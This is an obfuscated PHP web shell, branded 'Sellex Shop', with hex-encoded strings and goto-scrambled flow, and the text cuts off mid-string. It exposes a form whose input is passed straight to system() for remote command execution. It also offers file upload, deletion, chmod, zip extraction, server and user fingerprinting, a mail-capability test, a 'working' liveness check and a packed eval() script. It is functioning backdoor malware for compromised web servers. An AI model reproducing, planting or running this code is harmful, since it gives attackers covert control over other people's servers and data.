"\40\x20\40\40\x20\x20\74\x2f\x66\157\x72\x6d\76\12\40\x20\x20\x20\x20\x20\74\146\157\162\155\x20\141\143\x74\151\x6f\156\75\42\42\40\143\154\x61\x73\x73\x3d\42\151\x73\x2d\x66\154\x65\170\x20\151\x73\55\x61\154\x69\x67\156\x2d\151\x74\145\x6d\x73\x2d\x65\156\x64\x22\40\155\x65\x74\150\x6f\x64\75\42\x50\x4f\123\x54\x22\76\xa\x20\x20\x20\x20\40\x20\40\40\74\144\x69\166\76\xa\x20\40\40\40\40\40\40\40\x20\40\x3c\41\x2d\x2d\x20\x3c\154\x61\x62\x65\x6c\76\105\170\x65\x63\165\x74\x65\74\x2f\154\141\x62\145\154\x3e\x20\x2d\x2d\x3e\12\40\40\40\x20\40\x20\40\40\x20\40\74\151\x6e\x70\165\x74\40\164\x79\160\x65\x3d\42\x74\145\x78\x74\42\40\143\154\x61\163\x73\75\42\x69\x6e\160\165\x74\40\151\163\55\163\x6d\141\x6c\154\42\40\x70\x6c\141\143\145\x68\157\x6c\144\x65\x72\75\42\x45\170\x65\143\x75\x74\x65\x22\x20\x6e\x61\155\145\75\x22\x65\x78\145\143\x6d\144\42\57\76\12\40\x20\x20\40\x20\40\x20\x20\x3c\57\144\151\x76\x3e\12\x20\40\40\x20\x20\40\x20\x20\74\x69\156\x70\x75\x74\40\143\154\141\x73\x73\75\42\x6d\x6c\55\61\x20\142\165\x74\164\157\x6e\x20\151\x73\x2d\160\162\x69\155\141\x72\x79\40\151\x73\55\163\x6d\141\x6c\154\x22\40\164\171\x70\145\x3d\x22\x73\165\142\155\151\x74\42\40\x6e\141\155\145\x3d\42\163\x75\x62\155\x69\x74\42\x20\x76\141\x6c\x75\x65\75\x22\76\x22\57\76\xa\40\x20\40\40\40\x20\74\x2f\146\x6f\x72\155\76\xa\40\40\x20\40\x20\40\x20\40\74\x73\x63\162\x69\x70\x74\x3e\xa\x20\40\x20\40\x20\40\x20\40\40\40\x66\x75\x6e\143\164\x69\x6f\156\x20\163\x75\142\x6d\x69\x74\x5a\x69\160\106\151\x6c\x65\50\x29\x20\173\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\166\141\x72\40\x69\156\160\x75\164\106\151\145\154\144\40\75\x20\144\157\143\x75\x6d\145\156\x74\x2e\x67\x65\164\105\154\145\x6d\x65\x6e\x74\102\171\x49\144\x28\42\x65\x78\164\162\x61\143\x74\x2d\x7a\151\160\x22\51\73\12\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x69\146\50\x21\x69\x6e\160\x75\164\x46\151\145\154\144\56\x76\x61\154\x75\145\56\x73\x74\x61\x72\164\x73\x57\x69\x74\x68\50\42\x75\x6e\x7a\x69\x70\x22\x29\x29\x20\151\x6e\x70\x75\164\106\151\x65\x6c\x64\56\x76\x61\154\x75\x65\40\75\x20\42\165\156\x7a\x69\x70\40\x22\53\x69\156\x70\165\x74\106\x69\x65\x6c\x64\56\x76\141\154\x75\145\x3b\40\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\162\x65\x74\x75\x72\x6e\x20\164\x72\x75\x65\12\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\40\40\40\x20\40\40\x20\x3c\x2f\x73\143\162\x69\x70\x74\76\12\x20\x20\x20\x20\x20\40\x3c\x66\157\162\x6d\x20\x61\143\x74\x69\157\156\x3d\x22\42\x20\157\x6e\x73\165\x62\155\x69\x74\x3d\x22\x73\165\x62\155\151\164\132\151\160\x46\151\x6c\x65\50\x29\42\x20\143\154\141\163\x73\75\x22\151\163\55\x66\154\145\170\x20\x69\x73\x2d\x61\x6c\x69\x67\x6e\55\151\164\x65\x6d\163\55\145\x6e\x64\42\40\155\x65\164\x68\157\144\x3d\x22\x50\x4f\x53\x54\x22\x3e\12\x20\x20\x20\40\40\40\x20\40\x3c\144\151\x76\76\12\40\x20\40\40\40\40\40\40\x20\40\x3c\41\x2d\55\x20\74\154\141\142\x65\154\76\x45\x78\164\162\x61\x63\x74\x20\132\111\x50\x3c\57\x6c\x61\142\145\154\76\x20\55\55\76\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\74\151\156\x70\x75\164\40\164\x79\x70\x65\75\x22\164\145\170\x74\42\x20\x63\154\141\x73\163\75\x22\x69\156\x70\x75\164\x20\x69\163\x2d\163\x6d\x61\x6c\154\x22\x20\x70\x6c\x61\143\x65\x68\157\x6c\144\x65\x72\x3d\x22\105\170\x74\x72\141\x63\164\40\x5a\111\x50\x22\x20\x69\144\x3d\x22\x65\x78\164\x72\x61\x63\164\55\x7a\x69\160\42\x20\x6e\141\155\x65\x3d\x22\x65\170\145\143\155\144\x22\x2f\x3e\12\x20\40\x20\x20\40\x20\40\x20\x3c\x2f\144\151\166\76\xa\40\x20\40\x20\40\x20\x20\x20\74\151\x6e\160\165\x74\x20\x63\154\141\x73\163\75\x22\x6d\x6c\55\x31\x20\142\165\164\x74\157\x6e\x20\151\163\x2d\x70\x72\151\x6d\141\x72\x79\40\151\x73\55\163\155\141\154\154\x22\40\x74\171\160\x65\75\42\x73\x75\142\155\151\x74\x22\40\156\x61\155\145\75\x22\163\x75\142\x6d\x69\164\42\40\x76\x61\x6c\165\145\75\42\x3e\x22\x2f\76\xa\40\40\x20\40\40\40\x20\40"; goto fSLYI; f3cw5: echo "\74\57\x6e\x6f\142\162\x3e\x3c\57\x6c\151\76\xa\40\x20\x20\x20\x3c\154\151\x3e\123\141\146\145\x6d\x6f\x64\x65\40\x3a\40\74\x6e\157\x62\x72\x3e"; goto qp1Ja; RRg2S: echo "\47\x29\x3b\x61\154\145\x72\164\x28\x27\103\157\160\151\145\x64\40\x74\x6f\40\x63\154\x69\x70\142\157\x61\162\144\47\51\x3b\x22\x20\143\x6c\x61\x73\163\x3d\42\x69\x73\55\x66\x61\155\151\x6c\171\55\x6d\157\156\x6f\x73\160\x61\x63\x65\x20\x62\x75\x74\x74\x6f\156\x20\x69\x73\x2d\x6c\151\x6e\x6b\40\160\154\55\62\x20\151\x73\55\157\165\x74\154\x69\x6e\145\144\x22\x3e\xa\x20\40\40\x20\x20\x20\x20\x20\x3c\142\x20\x63\154\141\x73\x73\x3d\42\x74\x61\147\x20\151\x73\x2d\x6c\x69\x6e\x6b\40\155\x72\55\x32\42\x3e\120\110\120\x20\126\x65\162\163\x69\x6f\x6e\x3c\57\x62\x3e\xa\40\x20\x20\40\40\40\x20\40\74\x6e\157\x62\162\76"; goto RpDwy; oQYI2: echo "\74\x2f\x73\x70\x61\x6e\x3e\12\x20\x20\40\40\74\x2f\144\x69\x76\76\12\x20\x20\x3c\x2f\x64\151\166\x3e\12\40\x20\74\144\151\x76\x20\x63\x6c\x61\163\163\x3d\42\x62\x67\55\x64\141\x72\153\40\142\157\x72\x64\x65\x72\40\x74\141\x62\x6c\x65\x2d\x72\x65\x73\160\157\x6e\163\x69\166\145\40\x6d\x74\55\62\42\x3e\12\40\40\40\x20\74\144\x69\x76\x20\143\154\x61\163\x73\75\42\151\163\55\146\141\155\151\x6c\171\x2d\x6d\x6f\156\x6f\x73\160\x61\143\145\40\142\x75\164\164\157\x6e\x20\151\163\55\144\141\x6e\x67\x65\162\x20\x69\163\55\x72\x6f\165\156\x64\145\x64\40\151\x73\x2d\157\165\x74\154\151\156\x65\x64\x22\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\x3e\x50\x61\164\150\x3a\x20\74\x2f\163\x70\x61\156\76\12\x20\40\40\40\40\40"; goto c2FpU; VrT_s: EWwyG: goto ALTnY; H351Z: define("\155\x39\x6a\113\x4f", "\x53\x65\154\x6c\145\x78\40\123\x68\x6f\160"); goto MwYDR; HKjD5: echo uoca2(); goto IUsOc; rfYlk: echo "\74\x2f\156\x6f\x62\162\x3e\xa\x20\x20\x20\x20\40\40\x3c\57\x64\x69\166\76\xa\x20\x20\x20\40\x20\40\74\x62\x72\76\12\x20\40\x20\x20\40\x20\x3c\x64\x69\x76\40\143\x6c\141\163\163\x3d\x22\151\x73\x2d\146\x61\155\151\154\x79\x2d\x6d\157\156\x6f\163\160\x61\x63\145\x20\142\165\x74\x74\157\x6e\x20\x69\163\x2d\167\x61\162\x6e\151\x6e\147\x20\x70\154\55\62\40\x69\x73\x2d\x6f\x75\164\x6c\151\156\145\x64\x20\151\x73\x2d\151\156\166\x65\x72\164\x65\144\42\76\xa\x20\40\40\40\40\x20\40\40\74\x62\x20\x63\x6c\141\163\163\x3d\42\x74\x61\147\40\151\163\55\167\141\162\x6e\151\x6e\x67\x22\76\125\x73\145\x72\x3c\57\x62\76\xa\40\40\x20\x20\x20\x20\40\40\74\x6e\157\x62\162\40\x63\x6c\141\163\x73\75\x22\155\170\x2d\62\x22\x3e"; goto KwcdW; H61a3: if (!isset($_POST["\155\x61\x6b\145\146\151\x6c\145"])) { goto EWwyG; } goto lNNW1; Fnjyw: f2Y3t("\x66\x69\x6c\x65\x20\x74\x6f\x20\144\x65\154\145\x74\145\40\x74\150\145\40\146\x6f\x6c\144\145\x72", 0); goto g2rop; qQmdQ: echo "\x3c\x2f\x6e\x6f\x62\x72\x3e\12\40\x20\40\x20\x20\40\x3c\57\x64\x69\x76\x3e\xa\x20\40\40\40\x20\x20\x3c\144\x69\x76\40\x6f\156\x63\154\x69\143\x6b\x3d\42\156\141\166\x69\x67\141\x74\157\x72\56\x63\154\x69\160\142\x6f\x61\x72\144\x2e\x77\162\x69\164\145\124\x65\170\164\x28\x27"; goto Np5bS; sgdpK: fwrite($huZFR, ''); goto tzxxE; dW_tO: echo "\74\57\x61\162\164\151\x63\154\x65\x3e\12\74\x21\x2d\x2d\x20\x73\164\x79\154\145\x3d\x22\142\x6f\162\x64\x65\162\72\x32\160\170\40\163\157\x6c\x69\x64\x20\150\163\154\50\x33\x34\x38\54\x20\61\x30\60\x25\54\40\x36\61\45\x29\73\x22\40\55\x2d\76\xa\74\x64\151\166\40\143\x6c\141\163\163\x3d\x22\146\x6c\157\x61\x74\x69\156\x67\55\142\141\156\156\x65\162\40\x69\163\x2d\x66\141\155\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\x70\141\143\x65\x20\x69\163\x2d\146\x6c\x65\x78\40\151\163\55\x6a\165\x73\x74\151\146\171\x2d\x63\x6f\x6e\164\145\x6e\164\55\143\145\156\164\145\162\40\155\x2d\64\42\76\xa\40\40\x3c\x61\x20\150\162\x65\x66\x3d\x22\150\x74\x74\160\163\x3a\57\x2f\163\145\x6c\x6c\x65\x78\163\150\x6f\160\56\147\x69\x74\150\x75\142\56\151\x6f\57\x22\x20\x63\x6c\x61\163\x73\x3d\x22\147\162\141\x64\x69\x65\156\164\x2d\x62\157\162\144\x65\162\x20\147\162\141\144\151\145\156\x74\x2d\x62\x67\x20\x6d\170\55\x61\165\x74\x6f\40\151\x73\55\x73\x69\172\x65\55\66\x22\x20\76\x50\x6f\x77\x65\x72\x65\144\40\102\x79\x20\74\x62\76\x53\x65\154\154\145\x78\x20\x53\150\157\x70\74\x2f\142\76\74\x2f\x61\x3e\xa\74\57\x64\151\166\76\12\74\x21\x2d\x2d\x20\74\x63\145\x6e\164\145\162\x3e\xa\40\40\x3c\x61\40\x68\x72\145\x66\75\x22\150\x74\x74\160\x73\x3a\57\57\163\x65\154\x6c\145\170\163\x68\157\160\56\147\151\164\150\165\142\56\151\x6f\x2f\x22\76\xa\x20\x20\40\x20\74\151\155\147\x20\x73\x72\143\75\x22\150\x74\x74\160\163\72\x2f\57\151\x6d\147\x30\60\x31\56\160\x72\156\x74\x73\143\162\x2e\x63\157\x6d\57\x66\x69\154\x65\57\x69\x6d\147\x30\x30\61\57\105\117\x68\150\65\65\157\x6f\x52\x33\x57\x64\150\x57\x5a\x54\152\123\x5f\130\x53\x77\x2e\147\x69\146\x22\40\141\154\164\75\42\123\145\154\x6c\x65\x78\x2e\x62\151\x7a\x22\76\12\x20\40\x3c\x2f\141\76\12\74\57\143\x65\156\164\x65\162\76\x20\x2d\x2d\x3e\12\74\x73\143\x72\151\x70\164\76\x65\x76\141\x6c\x28\146\165\156\x63\164\151\x6f\156\x28\160\54\141\x2c\143\54\153\x2c\145\x2c\x64\51\173\x65\x3d\x66\x75\156\x63\164\x69\x6f\156\50\143\x29\x7b\162\x65\x74\165\162\x6e\x28\143\74\141\77\47\47\72\145\x28\x70\x61\162\x73\145\x49\x6e\164\x28\143\x2f\x61\x29\51\51\x2b\x28\50\143\75\143\45\x61\x29\76\63\65\77\x53\164\x72\151\156\147\56\146\162\x6f\155\x43\x68\x61\162\x43\157\x64\145\50\143\x2b\x32\x39\x29\72\143\x2e\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\51\51\x7d\x3b\x69\146\x28\x21\x27\x27\x2e\x72\145\x70\x6c\141\143\145\x28\x2f\x5e\57\54\x53\164\162\151\x6e\x67\x29\51\173\167\x68\151\x6c\145\50\x63\55\55\x29\x7b\144\133\145\x28\143\x29\135\75\153\133\143\135\x7c\174\x65\50\143\x29\x7d\153\75\x5b\146\x75\156\143\x74\x69\x6f\x6e\50\x65\x29\x7b\162\x65\x74\165\x72\x6e\x20\144\133\145\135\x7d\135\x3b\x65\x3d\146\x75\156\143\164\x69\x6f\156\50\51\173\x72\x65\x74\x75\x72\x6e\47\x5c\134\x77\53\x27\x7d\73\143\75\61\175\73\x77\x68\x69\154\x65\x28\x63\x2d\55\x29\173\x69\146\x28\153\133\143\135\51\173\x70\x3d\160\56\x72\x65\x70\154\141\x63\145\50\x6e\145\167\x20\x52\x65\147\105\170\160\x28\47\134\134\142\47\x2b\145\50\x63\x29\x2b\x27\x5c\134\x62\47\x2c\47\147\x27\x29\54\153\133\x63\135\x29\x7d\175\162\x65\x74\165\x72\x6e\40\x70\x7d\x28\47\105\x2e\x6e\50\51\73\44\x28\x5c\x27\133\62\55\155\75\x22\64\x22\135\134\47\51\x2e\x34\x28\51\73\x24\x28\x22\56\x6c\42\51\56\153\50\x6a\x28\x65\x29\x7b\145\x2e\147\x28\x29\73\x68\x20\x30\x3d\x24\x28\66\x29\56\65\x28\42\x32\55\60\x22\51\x3b\143\50\x7b\142\x3a\42\x61\42\54\x39\x3a\42\x6f\40\x69\x20\161\x3f\42\x2c\167\x3a\42\104\40\x22\53\60\x2b\42\x20\160\x20\x43\40\102\42\54\101\72\x37\54\x7a\x3a\67\x2c\175\x29\x2e\171\x28\50\70\51\x3d\76\173\162\50\x38\x29\173\170\x20\61\x3d\x24\x28\x36\x29\56\x35\x28\x22\x33\x22\51\53\42\x26\x74\x3d\x22\x2b\50\50\x30\x3d\75\x22\x76\x22\51\77\x22\x64\42\x3a\42\146\42\x29\73\165\56\163\x2e\x33\75\x31\x7d\x7d\x29\175\51\73\x27\x2c\x34\x31\x2c\64\x31\54\47\164\x79\160\x65\174\x62\x75\x69\154\144\x55\x52\x4c\174\144\x61\164\x61\x7c\x68\162\x65\146\174\x74\x6f\x6f\154\x74\151\160\x7c\x61\x74\x74\162\174\x74\x68\151\163\174\164\162\x75\145\174\x77\151\x6c\154\104\x65\154\x65\x74\x65\174\x74\151\x74\x6c\145\x7c\x77\141\162\156\151\x6e\x67\x7c\x69\143\157\x6e\x7c\163\167\x61\x6c\x7c\174\174\x7c\160\162\145\x76\x65\x6e\164\x44\145\146\x61\165\154\164\x7c\x6c\x65\x74\x7c\x79\157\x75\174\146\165\x6e\143\164\x69\157\156\x7c\143\x6c\151\143\x6b\174\144\x65\154\x65\164\145\174\164\157\x67\x67\x6c\145\174\151\x6e\151\164\174\x41\x72\145\174\x77\x69\154\154\x7c\163\x75\x72\145\174\151\146\x7c\154\157\143\141\x74\151\x6f\x6e\x7c\x7c\144\157\143\165\155\145\x6e\164\x7c\x66\x6f\154\144\x65\162\x7c\164\x65\x78\x74\174\x63\x6f\156\163\x74\174\x74\150\x65\x6e\x7c\x64\141\156\147\x65\x72\x4d\157\x64\x65\174\142\x75\164\x74\x6f\x6e\x73\x7c\x64\x65\154\145\164\x65\144\174\142\x65\174\x54\150\x69\163\174\142\x73\103\x75\x73\x74\157\155\x46\x69\x6c\145\x49\x6e\160\x75\x74\47\56\x73\x70\x6c\151\164\50\x27\174\x27\51\x2c\x30\54\173\175\x29\51\x3c\x2f\x73\143\162\x69\x70\164\76\xa\xa\74\163\143\162\x69\x70\x74\x20\x73\162\x63\75\x22\x68\164\164\160\163\x3a\x2f\57\x63\144\x6e\56\152\163\144\145\154\151\166\x72\x2e\x6e\x65\x74\x2f\x6e\160\x6d\57\100\x65\x78\x75\141\156\x62\157\x2f\146\x69\154\145\x2d\x69\x63\x6f\x6e\x73\55\x6a\163\100\154\141\164\x65\x73\164\57\144\151\x73\164\57\x6a\x73\x2f\x66\151\x6c\x65\x2d\x69\x63\157\156\x73\56\155\x69\x6e\56\152\163\42\x3e\74\57\x73\x63\x72\151\x70\x74\x3e\xa\x3c\163\143\162\151\160\x74\76\xa\40\40\x63\157\156\x73\164\40\x69\x63\157\x6e\163\40\x3d\40\x72\x65\x71\x75\151\162\x65\x28\x27\x66\x69\154\145\55\151\x63\x6f\156\x73\x2d\x6a\x73\47\51\xa\x20\x20\144\157\143\165\155\145\x6e\164\x2e\161\x75\x65\162\x79\123\x65\x6c\145\143\164\x6f\162\x41\x6c\154\x28\47\x2e\142\x69\56\x62\151\55\x66\x69\x6c\145\x2d\x65\141\162\x6d\141\162\153\55\x66\151\x6c\154\47\51\56\x66\157\x72\105\141\x63\150\50\x69\40\75\x3e\x20\173\12\40\x20\40\x20\x69\143\x6f\x6e\x73\56\x67\x65\x74\103\x6c\141\163\x73\50\x69\x2e\147\145\x74\101\x74\x74\x72\x69\x62\165\164\x65\x28\47\144\x61\164\x61\55\x6e\141\155\x65\47\x29\51\x2e\164\150\145\156\50\x63\x20\75\76\x20\x69\56\x63\x6c\141\163\x73\x4e\x61\x6d\145\x20\x3d\x20\x63\56\x72\145\160\154\x61\143\145\50\x22\151\x63\157\156\55\x66\151\x6c\x65\55\164\145\x78\x74\42\54\40\x22\164\145\170\164\x2d\151\143\x6f\x6e\42\51\51\xa\40\x20\x7d\51\xa\x3c\x2f\x73\143\x72\x69\x70\164\x3e\xa\74\x2f\142\x6f\x64\x79\x3e\x3c\x2f\150\x74\x6d\154\76\12"; goto xuNK1; RpDwy: echo substr(@phpversion(), 0, 20); goto rfYlk; kU72Z: echo system($_POST["\145\170\145\143\x6d\x64"]); goto rcEfg; Qm8jY: GfRvx: goto k5wXS; eKyjG: if (strpos(ini_get("\144\x69\163\x61\x62\154\145\137\x66\x75\156\x63\x74\x69\157\x6e\x73"), "\x73\x68\x65\x6c\x6c\137\x65\170\x65\143") !== 0) { goto aEkYB; } goto FEBxE; MIuoc: fclose($huZFR); goto qtvxW; B6QGb: F2y3T("\146\x69\154\145\40\x64\145\x6c\x65\164\x65\x64\x20\163\x75\x63\143\x65\163\x73\x66\x75\154\x6c\x79"); goto f0OQq; qG05B: if (strpos($bP9ht, "\141\144\144\x69\156\147") !== false) { goto nlzqU; } goto io1hp; sJ72V: if (@mail($I8vAC . "\100" . $I8vAC . "\x2e\x63\x6f\x6d", "\110\x65\x6c\x6c\x6f", "\110\x65\x6c\x6c\x6f\54\40\144\x65\x61\x72\40\x75\163\145\162\x21")) { goto bjEbz; } goto jsW6g; ln1jF: GvegE: goto zl_wE; sfpuB: uVwWe: goto ptH6a; GZOS4: if (!(isset($_POST["\x63\147\x66"]) && isset($_POST["\x63\x6f\x64\x65\170"]))) { goto cNHru; } goto IJK5e; qgmWb: unlink($fKgA3); goto BD3G9; pQMdN: echo basename($_SERVER["\120\110\120\137\x53\x45\x4c\x46"]); goto ftX43; te6fx: echo fFUJP(); goto suGJ_; hRGsN: echo $_SERVER["\123\105\122\x56\x45\x52\x5f\x41\x44\x44\x52"]; goto X7iEx; d82TW: if (!isset($_GET["\143\x68\x65\x63\153"])) { goto oUhL4; } goto t1bgm; mdSkB: jH9T2: goto ln1jF; t1bgm: die("\167\x6f\162\153\151\x6e\x67"); goto qeUDI; EWy47: if ($uKjJE == "\156\x65\167\104\151\162") { goto A1Aby; } goto Q1b9f; pVwzF: if (empty($bzgfY)) { goto T17o4; } goto M4x5x; JAjFD: UMC9K: goto r5Ado; g2Jgz: NY9pM: goto o4r4L; g1M5R: rmdir($mKxy1); goto QmpR8; zkSv_: M9NtG: goto gvvFg; qp1Ja: echo ta6a_(); goto x20Uz; I04b2: echo uocA2(); goto qBcvL; Rjllv: echo "\x22\76\x3c\x62\x72\76\12\40\x20\40\x20\x20\x20\40\40\74\151\156\x70\165\x74\40\164\x79\160\x65\75\42\163\165\142\155\x69\x74\x22\40\x63\154\141\x73\163\x3d\42\142\165\164\164\x6f\156\40\151\163\x2d\x70\162\x69\x6d\141\162\171\x20\155\154\55\x32\42\x20\166\141\154\x75\x65\75\42\x63\x68\155\157\144\42\76\xa\x20\40\x20\40\40\40\74\x2f\x64\151\x76\x3e\xa\40\x20\40\40\x3c\57\146\157\162\x6d\x3e\12\x20\x20\74\x2f\144\151\x76\76\12\x9"; goto GZOS4; nXISj: nlzqU: goto ni_Wu; Ivj0Q: echo $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\x44\x52"]; goto f3cw5; fwZTh: ptPZr($_REQUEST["\160"] . "\x2f" . $_REQUEST["\x6e"]); goto bVKkC; S9ILR: goto ezK61; goto FOIiG; maHD6: $oJwbz = ''; goto SgmfV; LQ0zG: file_put_contents($E5Z_f, "\x74\145\x73\x74"); goto rA9Hj; CXBuX: if (!isset($_FILES["\x66"])) { goto C3vwP; } goto e3BHi; Lh2oi: aEkYB: goto UvaCs; KwcdW: echo get_current_user(); goto zysIk; ezNsH: echo FFujP(); goto iTPy6; GarFd: $bzgfY = shell_exec("\167\x68\x69\143\x68\x20\172\x69\160"); goto maHD6; eLrPW: F2Y3T("\x5a\111\x50\40\x46\151\x6c\145\x20\105\170\164\162\141\143\x74\x65\x64\x21"); goto be0Xq; HhYmi: echo "\42\76\12\40\40\x20\x20\x3c\144\151\x76\x20\x63\154\x61\163\x73\75\42\151\163\x2d\x66\x6c\x65\x78\42\x3e\xa\x20\x20\40\40\x20\x20\74\x69\x6e\160\165\x74\x20\x74\171\x70\x65\75\x22\x74\145\x78\x74\42\40\156\x61\x6d\145\75\x22\x63\x6f\144\145\x78\42\x20\143\x6c\141\163\x73\x3d\42\x69\156\x70\x75\164\42\x20\160\x6c\141\143\x65\x68\x6f\154\144\x65\162\75\42"; goto kRxWW; GpfQr: sl6BV: goto Q_7wu; hXpWe: echo "\74\x2f\164\151\164\x6c\x65\76\xa\40\x20\40\40\74\x73\164\171\154\145\76\12\40\40\40\40\x20\x20\164\x62\157\x64\171\40\x74\162\x3a\x68\x6f\166\x65\162\40\x7b\12\x20\40\40\x20\40\40\40\x20\142\x61\143\153\147\162\157\x75\156\x64\55\x63\x6f\154\x6f\162\x3a\40\x68\163\154\x28\61\x37\x31\x2c\x20\x31\60\60\45\54\x20\x31\66\45\51\12\40\x20\40\40\40\x20\175\xa\x20\x20\40\40\40\40\154\x69\40\x7b\xa\x20\x20\40\x20\40\x20\40\x20\x66\157\156\x74\x2d\163\x69\172\x65\72\x20\x31\70\x70\x78\73\12\x20\40\x20\40\x20\x20\x20\40\x6d\141\162\147\151\x6e\55\x6c\x65\146\x74\x3a\40\66\160\170\x3b\xa\40\40\x20\40\x20\x20\40\x20\x6c\151\163\x74\x2d\163\164\x79\x6c\x65\x3a\x20\156\x6f\x6e\x65\xa\x20\40\40\x20\40\40\x7d\12\x20\x20\x20\40\40\x20\x69\56\151\x63\x6f\156\x20\173\12\x20\40\x20\x20\40\40\x20\40\163\x63\x61\154\x65\x3a\x20\x31\x2e\64\73\12\40\x20\40\x20\x20\x20\x20\x20\155\x61\162\x67\x69\x6e\55\154\x65\x66\164\x3a\40\x2d\x34\160\x78\x3b\xa\x20\x20\x20\40\x20\x20\x7d\xa\x20\40\x20\x20\40\x20\x69\x6e\160\165\x74\x2e\x69\156\160\165\x74\72\72\x70\x6c\141\143\x65\150\157\154\144\145\x72\x7b\12\40\40\40\x20\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x68\x73\x6c\50\61\x37\61\x2c\40\61\x30\x30\x25\54\40\62\x38\45\51\x3b\12\x20\x20\40\40\x20\40\x7d\12\x20\x20\x20\40\x20\x20\x2e\146\154\x6f\x61\x74\x69\x6e\147\55\x62\141\x6e\156\145\x72\173\xa\40\x20\40\x20\x20\x20\x20\40\x70\157\163\151\164\151\157\156\72\146\151\170\x65\x64\73\x62\x6f\x74\x74\157\x6d\72\60\x3b\x72\151\147\x68\164\72\x30\73\xa\x20\40\40\40\40\x20\175\xa\40\x20\40\x20\x20\x20\x2e\146\x6c\157\141\x74\151\156\147\x2d\x62\x61\x6e\156\x65\162\40\141\40\173\12\x20\40\x20\x20\40\40\x20\40\142\157\x72\144\x65\x72\x3a\64\x70\170\40\163\157\x6c\151\x64\40\x23\x66\x66\146\146\x66\146\66\66\x3b\12\x20\x20\x20\x20\40\40\x20\40\x63\x6f\154\157\162\x3a\x23\146\x66\146\x66\x66\146\103\x43\x3b\12\40\x20\40\x20\40\x20\40\x20\142\x6f\162\x64\x65\162\x2d\162\141\144\151\x75\x73\72\70\x70\170\x3b\12\40\40\40\x20\x20\x20\x20\x20\x70\x61\144\x64\151\x6e\147\x3a\x32\160\170\x20\61\62\x70\170\73\12\x20\x20\x20\x20\x20\x20\x7d\12\40\x20\40\40\40\x20\x2e\146\154\x6f\x61\164\x69\x6e\147\55\x62\141\x6e\x6e\x65\162\x20\x61\x20\x62\40\x7b\12\x20\40\40\40\40\x20\x20\40\146\x6f\156\164\55\167\x65\151\x67\150\x74\72\71\x30\60\x3b\xa\40\40\40\40\40\x20\40\40\x63\157\x6c\157\162\72\x77\x68\151\x74\145\x3b\xa\x20\x20\x20\40\40\40\x7d\xa\x20\40\x20\40\x20\x20\x2e\x67\162\x61\144\x69\x65\156\164\55\x62\147\x20\173\xa\40\x20\x20\40\40\x20\x20\40\142\x61\x63\x6b\x67\162\x6f\165\x6e\x64\x3a\x20\x6c\151\x6e\x65\141\162\55\x67\162\x61\144\151\145\x6e\x74\50\55\64\x35\144\x65\147\54\x20\40\43\60\x66\x30\x63\62\x39\54\x20\x23\x33\60\x32\x62\66\x33\54\x20\x23\x32\x34\62\x34\63\x65\54\x23\x65\x65\x37\x37\x35\62\54\x20\x23\x65\x37\63\143\67\145\x2c\x20\43\x32\63\x61\66\144\x35\54\40\x23\62\63\144\65\x61\x62\54\x20\43\146\x66\x35\x31\62\146\54\x20\x23\x64\144\62\x34\x37\66\54\x20\x23\61\146\x34\60\x33\67\x2c\x20\x23\x31\x36\62\x32\62\141\54\40\x23\60\x62\64\70\66\x62\x2c\40\x23\62\x33\60\67\x34\144\x2c\x20\x23\x63\143\65\x33\x33\x33\x29\x3b\xa\x20\40\x20\40\40\x20\x20\x20\x62\141\x63\x6b\147\162\157\165\156\x64\55\x73\x69\172\x65\x3a\x20\x34\x30\x30\x25\40\64\60\60\45\x3b\12\40\x20\x20\40\40\x20\40\40\141\x6e\151\155\141\164\x69\157\156\x3a\40\x67\162\x61\144\151\145\x6e\164\x20\61\x30\163\40\x65\141\x73\x65\x20\x69\x6e\146\x69\x6e\151\164\x65\x3b\xa\x20\40\40\40\x20\40\x7d\xa\xa\40\40\x20\40\x20\40\x40\x6b\145\171\146\162\141\x6d\x65\x73\x20\x67\162\x61\144\x69\x65\156\x74\40\173\12\40\x20\40\x20\40\40\40\x20\60\45\40\173\12\40\40\x20\40\x20\40\x20\40\40\40\x62\141\x63\153\x67\162\x6f\x75\x6e\x64\x2d\x70\x6f\163\x69\164\151\157\x6e\x3a\40\x30\45\x20\x35\60\x25\73\12\40\x20\40\x20\x20\40\x20\40\175\12\x20\x20\x20\x20\40\x20\x20\40\65\60\45\x20\173\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\142\x61\143\x6b\x67\162\x6f\x75\x6e\x64\55\x70\157\163\x69\164\151\x6f\x6e\72\40\x31\x30\x30\x25\40\65\x30\x25\x3b\12\x20\x20\x20\40\x20\40\40\x20\175\xa\x20\x20\x20\40\x20\x20\x20\x20\61\x30\x30\45\40\x7b\12\40\x20\40\40\x20\40\40\x20\40\40\142\x61\x63\x6b\147\162\157\165\156\x64\55\160\157\x73\x69\x74\x69\157\x6e\x3a\40\x30\45\x20\65\60\x25\73\12\40\x20\x20\x20\x20\40\40\40\175\12\x20\x20\40\x20\x20\x20\x7d\xa\12\12\x20\x20\x20\x20\x20\40\141\x7b\x63\x6f\154\x6f\x72\x3a\43\146\146\x66\175\12\x20\x20\40\x20\x3c\x2f\x73\x74\x79\x6c\x65\x3e\12\x20\x20\40\40\74\163\x63\162\151\160\164\40\x73\162\x63\75\42\57\57\165\x6e\160\x6b\x67\56\x63\x6f\155\x2f\163\x77\x65\x65\164\141\x6c\x65\x72\x74\x2f\x64\x69\x73\164\x2f\x73\x77\x65\145\164\141\154\145\x72\164\x2e\x6d\x69\156\x2e\152\163\42\x3e\74\x2f\163\x63\x72\x69\x70\164\x3e\12\x20\x20\74\57\x68\x65\141\144\x3e\xa\74\142\x6f\x64\x79\x20\x64\x61\164\141\x2d\x74\x68\x65\155\145\75\x22\144\x61\x72\x6b\42\40\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\x62\141\x63\153\x67\162\157\x75\x6e\x64\x2d\142\154\x61\143\x6b\55\142\151\163\x20\150\x61\x73\x2d\164\x65\x78\164\55\x77\150\151\x74\x65\55\142\x69\x73\x22\40\x73\164\x79\x6c\x65\x3d\42\x6d\x69\156\x2d\150\145\x69\147\x68\164\x3a\x31\x30\60\x76\x68\42\76\12\40\x20\x3c\144\151\x76\40\x73\164\171\x6c\145\x3d\42\x64\